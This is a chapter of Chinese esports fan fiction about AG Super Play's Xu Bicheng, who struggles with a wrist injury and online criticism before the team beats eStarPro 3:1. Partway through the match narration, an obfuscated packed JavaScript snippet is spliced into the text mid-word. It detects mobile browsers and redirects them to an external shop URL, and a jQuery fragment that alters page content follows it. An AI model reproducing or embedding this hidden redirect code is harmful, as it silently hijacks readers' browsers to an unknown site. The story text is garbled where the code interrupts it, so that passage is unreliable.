2022年8月，成都AG超玩会训练基地
雷雨在凌晨三点准时造访成都，雨水砸在训练室的窗户上，发出密集的鼓点声。室内只亮着一盏台灯，昏黄的光晕将徐必成的影子投射在墙上，拉得很长，像一道疲惫的剪影。
他盯着电脑屏幕上的数据面板，右手腕的疼痛又回来了——不是手术伤口的疼，是一种更深层的、从骨头里透出来的酸痛。康复师说这是训练过度的正常反应，但他知道不是。这是身体在发出警告，像一台运转了太久的机器，每一个零件都在发出最后的悲鸣。
夏季赛已经过半，AG的战绩是5胜5负，排在联盟第八——季后赛门槛的边缘。五核体系被研究透了，边辅核心还没练成，他们卡在中间，像陷在泥潭里的车，轮子空转，寸步难行。
更糟的是，舆论已经彻底转向。
一个月前，他们还是冠军，是五核体系的创造者。现在，他们是“版本弃子”，是“冠军魔咒的又一例证”，是“转型失败的典型”。
手机在桌上震动，屏幕亮着微博界面。热搜第七：#AG还能进季后赛吗#
点进去，热门评论像刀子：
“一诺真的老了，操作下滑严重”
“五核就是伪命题，现在原形毕露”
“Cat的战术就是笑话，早退役早好”
“AG这个赛季没了”
徐必成一条条翻过去，面无表情。但当他看到一条评论时，手指还是停住了：“一诺早点退役吧，别拖累AG了。”
拖累。
这个词像一根刺，扎进心里最柔软的地方。
他想起2018年刚进BA时，Cat对他说：“电子竞技最残酷的地方就是，当你不能为团队做贡献时，你就成了拖累。”
现在，他成了那个拖累吗？
数据不会说谎。这个赛季，他的场均输出18.7%，联盟发育路倒数第三；分均经济415，联盟发育路倒数第二；MVP次数1次，联盟倒数第一。
唯一好看的数据是场均视野得分：82.3，联盟第一。
但谁会关注视野得分呢？人们只想看到华丽的击杀，爆炸的输出，精彩的操作。那些默默无闻的贡献，那些为团队牺牲的隐忍，那些在绝境中寻找希望的坚持——这些，在这个数据至上的时代，一文不值。
窗外的雷声更响了。
徐必成关掉微博，打开训练营。选公孙离，对着木桩练习走A。一下，两下，三下——手腕传来刺痛，操作变形。
再来。
一下，两下，三下——还是变形。
他盯着屏幕，很久。然后关掉训练营，打开一个加密文件夹。
里面是一份文档，标题是《退役申请》。
他已经写了一个月，改了十几版。每次想提交，又删掉。每次想放弃，又继续。
现在，也许该做个了断了。
---
同一时间，上海某医院实习室。
林晓晓盯着显微镜下的病理切片，但脑子里全是昨晚AG输给TTG的比赛录像。0:3，被零封，毫无还手之力。徐必成的狄仁杰0-7-3，输出占比14.2%，承伤31.8%——惨不忍睹的数据。
更让她担心的是比赛中的一个细节：第三局团战，徐必成的狄仁杰想要闪现开团，但手慢了半拍，被反杀。导播给了特写镜头——他在揉手腕，表情痛苦。
手腕又出问题了。
她打开手机，想给AG的队医发消息，但手指在键盘上停住了。她只是个医学院学生，有什么资格指导职业战队的医疗团队？
但她还是点开了徐必成的超话。里面已经吵翻了天：
“一诺赶紧退役吧，别占着首发位置了”
“手腕伤了就好好养，硬撑着打对谁都不好”
“AG需要新鲜血液，一诺该让位了”
她咬着嘴唇，开始打字。不是反驳，不是争吵，是一封长信。
“诺队，你好。我是医学院的学生，也是你的粉丝。我不懂电竞战术，但我知道，身体是革命的本钱。手腕TFCC损伤如果反复发作，可能会导致永久性的功能障碍。这不是危言耸听，是医学事实。
我知道你想赢，想为团队做贡献，想证明自己还能打。但有时候，退一步，是为了更好地前进。休息一个赛季，彻底治好手腕，调整好心态，也许比硬撑着打更有价值。
当然，这只是我的建议。最终的决定权在你手里。无论你选择继续打还是休息，我都会支持你。因为我相信，真正的强大不是永不倒下，而是倒下后还能站起来。
保重身体，期待你的归来。”
点击发送。
然后，她打开邮箱，找到AG俱乐部的医疗团队，发了一份关于手腕TFCC损伤康复治疗的最新研究论文。
---
次日清晨，训练室。
五个少年围在白板前，Cat站在前面，表情严肃得像要上刑场。
“上周打TTG，我们输了。”Cat说，“不是输在操作，不是输在意识，是输在战术。我们的边辅核心体系，被TTG完全破解了。”
他在白板上画着TTG的战术图：“他们用三线压制，逼我们分线防守。然后用中野辅联动，抓我们的带线边路。轩染的老夫子，整场比赛被针对到死。”
轩染低着头，手指在颤抖。那场比赛，他的老夫子0-8-2，被单杀四次，被抓死四次。
“是我的问题。”他说，“我没打好。”
“不是你的问题。”Cat摇头，“是我的问题。我设计的战术太极端了，太容易被针对了。我以为四一分带能赢，但我忘了，现在是2022年，不是2016年。现在的队伍，太会处理四一分带了。”
他顿了顿，擦掉白板上的所有内容。
“所以，我们要换战术。换一种更符合版本，更符合我们队伍特点的战术。”
“什么战术？”长生问。
Cat在白板上写下四个字：“运营转线。”
“运营转线？”钟意皱眉，“那不是Estar的战术吗？”
“对。”Cat说，“Estar的运营转线是联盟最好的。他们能通过不断的转线，制造局部多打少，掠夺资源，滚大雪球。我们要学的就是这个。”
“可是……”大帅想说什么。
“我知道你们想说什么。”Cat打断他，“Estar的运营转线是建立在Cat的指挥和花海的操作上的。我们没有Cat，没有花海，怎么学？”
他看着五个人：“但我们有别的。我们有长生顶级的中单支援，有钟意稳定的野区控制，有轩染强势的边路线权，有大帅精准的开团时机，有一诺……”
他看向徐必成，停顿了一下：“有一诺无与伦比的抗压能力和视野控制。”
徐必成抬起头，眼神有些迷茫。
无与伦比？
他现在连对线都对不过了，还无与伦比？
“一诺。”Cat看着他，“我知道你最近状态不好。但你要明白，你的价值不是体现在对线上，不是体现在输出上。你的价值体现在——你能在抗压的同时，给团队提供多少信息，牵制多少敌人，创造多少空间。”
他在白板上画了一个简单的图：“下一场打Estar，我们不打对线，不打团战，打运营。通过不断的转线，制造局部优势，掠夺资源，滚大雪球。而你要做的，就是在发育路抗住压力，不死，不崩，不给机会。”
听起来很简单。
但徐必成知道，这比让他carry还难。
因为抗压，是最考验心态，最考验耐心，最考验意志力的。你要看着对手补刀，看着对手推塔，看着对手在你面前耀武扬威，但你不能急，不能上头，不能犯错。
你要忍。
忍到队友发育起来，忍到团队优势建立，忍到胜利来临。
而这个过程，可能十分钟，可能二十分钟，可能一整局。
你能忍吗？
徐必成看着自己的右手腕，那道淡粉色的疤痕在灯光下泛着光泽。
他想起了2019年夺冠时的自己——锋芒毕露，锐不可当。
想起了2021年手术后的自己——挣扎迷茫，自我怀疑。
想起了现在的自己——疲惫不堪，伤痕累累。
还能忍吗？
他不知道。
但他必须忍。
因为他是队长，是领袖，是AG的灵魂。
他没有退路。
---
三天后，AG vs 武汉eStarPro，成都主场。
赛前预测，九成的人认为Estar会赢。因为Estar是目前联盟第一，11胜1负，战绩恐怖。而AG，5胜5负，状态低迷。
更重要的是，这场比赛的看点不只是胜负，还有——Cat对阵老东家。
Cat退役后第一次以战术顾问的身份，对阵自己曾经效力过的队伍。
观众席上，林晓晓和陈薇坐在一起，手里举着徐必成的应援牌，但上面写的字已经变了：“一诺，坚持就是胜利。”
她们知道，今天的比赛，徐必成会很难。因为Estar的射手易峥，是这个赛季状态最好的发育路选手之一，场均输出26.8%，分均经济510，MVP次数6次。
而徐必成呢？场均输出18.7%，分均经济415，MVP次数1次。
差距太大了。
舞台上，BP开始。
---
Estar蓝色方。
教练47站在选手席后方，手里拿着战术板。他是Cat退役后Estar的新任教练，以战术灵活、BP多变著称。
“禁公孙离和孙尚香。”47说，“针对一诺。”
Estar前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。
“一楼拿澜。”47说，“逼他们拿镜。”
Estar锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄。
“他们在赌。”47对花海说，“赌钟意的镜能带起节奏。”
“那我们……”
“拿张良和东皇。”47说，“双强控，专治花里胡哨。”
Estar二楼三楼锁定了张良和东皇太一。现场一片哗然——又是这套阵容，又是这个针对。
AG这边，Cat看向徐必成：“拿什么？”
徐必成盯着那个阵容，深吸一口气：“狄仁杰。”
“确定？”
“确定。”
AG三四楼选择了狄仁杰和长生不知火舞。
Estar最后两手锁定了易峥的虞姬和子阳的太乙真人。
AG五楼，大帅拿出了他的招牌英雄——鬼谷子。
阵容确定：
AG：镜（钟意）、不知火舞（长生）、狄仁杰（一诺）、鬼谷子（大帅）、马超（轩染）
Estar：澜（花海）、张良（清融）、虞姬（易峥）、东皇太一（子阳）、吕布（坦然）
加载界面，徐必成闭上眼睛。
再睁开时，眼神平静得像深潭。
“记住战术。”他在语音里说，“运营转线，不打对线，不打团战，打资源。我抗压，你们发育。”
“明白。”
游戏开始。
开局，易峥的虞姬打得极其凶悍。一级就压线，二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028857|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
级就想单杀。徐必成的狄仁杰没有硬拼，只是补刀，做视野，等队友。
“他在怂。”易峥在语音里说，“一诺不行了，连对线都不敢对了。”
但徐必成不是在怂，是在执行战术。他的任务不是对线，不是单杀，是抗压，是牵制，是给队友创造发育空间。
四分钟，暴君刷新。Estar四人集结开龙，AG只有三人——徐必成的狄仁杰在下路带线。
“放了吧。”钟意说，“我们人不够。”
“不放。”徐必成说，“你们骚扰，我偷龙。”
“你偷龙？”长生愣住了，“你一个狄仁杰……”
“相信我。”
AG三人上前骚扰，Estar注意力被吸引。徐必成的狄仁杰从下路绕到龙坑后方，开启逐日之弓，超远距离点龙——
惩戒！
龙被抢了！
“狄仁杰抢到了暴君！”李九惊呼，“一诺！他用狄仁杰抢到了暴君！”
现场AG粉丝沸腾了。Estar选手席上，易峥的脸瞬间黑了。
节奏开始转向AG。虽然徐必成的狄仁杰经济依然落后，但他用意识和操作弥补了装备差距。每次团战，他都能找到最安全的输出位置；每次被抓，他都能用走位和净化极限逃生；每次推进，他都能用大招开团或者保命。
十五分钟，风暴龙王团。易峥的虞姬想要秀操作，但徐必成的狄仁杰大招定住，配合队友秒掉。
核心阵亡，Estar团战溃败。AG拿下龙王，带着兵线一波推平水晶。
1:0！
AG拿下第一局！
“一诺！”Cat在后台激动地说，“他用狄仁杰打出了教科书级别的工具人射手表现！输出不高，但作用巨大！”
---
中场休息，AG休息室。
气氛和往常完全不一样。所有人都在笑，在闹，在庆祝。
“诺哥，那波抢龙太帅了！”钟意用力拍他的肩膀。
“意识太好了。”长生推了推眼镜。
“继续保持。”徐必成只是笑笑。
但第二局，Estar调整了战术。
他们不再针对徐必成，而是针对钟意和长生。把你最强的两个点按死，看你工具人射手还能怎么玩。
这一局，徐必成拿了马可波罗——理论上还能carry的英雄。但Estar的针对太狠了，东皇太一加张良，每次马可波罗想转大，必有一个大招等着他。
0:5，马可波罗战绩惨淡。
虽然长生和轩染尽力carry，但终究不敌。
1:1，比分扳平。
第三局，徐必成拿出了公孙离——他的招牌，也是这个版本最弱势的射手之一。
“诺哥，真要拿公孙离吗？”钟意问。
“拿。”徐必成说，“我要证明，不是射手不行，是玩射手的人不行。”
游戏开始。
这一局，徐必成的公孙离打得极其谨慎。不追求单杀，不追求压制，只追求——活着。
清完线就消失，给足边路压力。团战永远在安全位置输出，绝不上头。被抓就用净化加位移极限逃生，绝不贪心。
数据很难看：十分钟，0-0-2，经济全场第四。
但作用很大：他的公孙离牵扯了Estar至少两个人的注意力，为队友创造了巨大的发育空间。
十五分钟，风暴龙王团。Estar想要强开公孙离，但徐必成的走位太刁钻了，永远卡在技能边缘。Estar开团失败，反被AG抓住机会。
长生不知火舞进场收割，拿下三杀。
团战赢了。
2:1，AG再下一城。
第四局，Estar心态崩了，AG轻松拿下。
3:1，AG战胜Estar！
“让一追三！”李九激动地说，“在所有人都认为射手已死的版本，一诺用三局不同的射手，证明了射手还能玩！”
赛后采访，记者把话筒递给徐必成。
“今天carry全场，感觉怎么样？”
徐必成想了想，说：“不是carry，是团队。第一局，我用狄仁杰抢龙，是队友给了我机会。第二局，我马可波罗被针对，但队友站出来了。第三局，我公孙离虽然数据不好，但牵制了很多人，为队友创造了空间。所以，赢比赛的不是我一个人，是我们五个人。”
“那对‘绝育路’这个词有什么看法？”
徐必成笑了：“路绝育了，但人没有。版本可以削弱英雄，可以削弱装备，但削弱不了选手的决心和创造力。只要还想赢，就总能找到赢的方法。”
采访结束，徐必成回到后台。
手机震动，是Cat发来的消息：“今天打得很好。你终于明白了——真正的强大，不是逆版本carry，而是在任何版本都能找到赢的方法。”
徐必成回复：“是你教我的。”
“不，是你自己悟到的。”
关掉手机，徐必成看向窗外。
成都的夜空，星星在闪烁。
他的手腕还在疼。
他的操作还没完全恢复。
但他不再焦虑了。
因为他知道，电竞的路很长，赢比赛的方式很多。
他不必执着于回到从前。
他只需要，一直往前走。
一直赢下去。
这就是重生的意义。
不是回到原点。
是带着伤痕，走向新的起点。
深渊边缘，不是终点。
是看清自己，重新出发的地方。
而他们，才刚刚出发。
【第十九章·完】